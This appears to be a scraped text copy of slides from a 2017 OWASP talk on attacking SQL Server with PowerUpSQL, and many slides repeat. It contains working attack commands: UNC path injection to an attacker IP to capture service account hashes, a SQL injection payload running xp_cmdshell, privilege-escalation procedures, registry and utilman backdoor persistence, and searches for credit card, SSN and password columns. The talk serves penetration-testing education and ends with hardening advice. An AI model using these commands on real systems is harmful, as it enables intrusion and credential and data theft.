EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 43: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 44: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

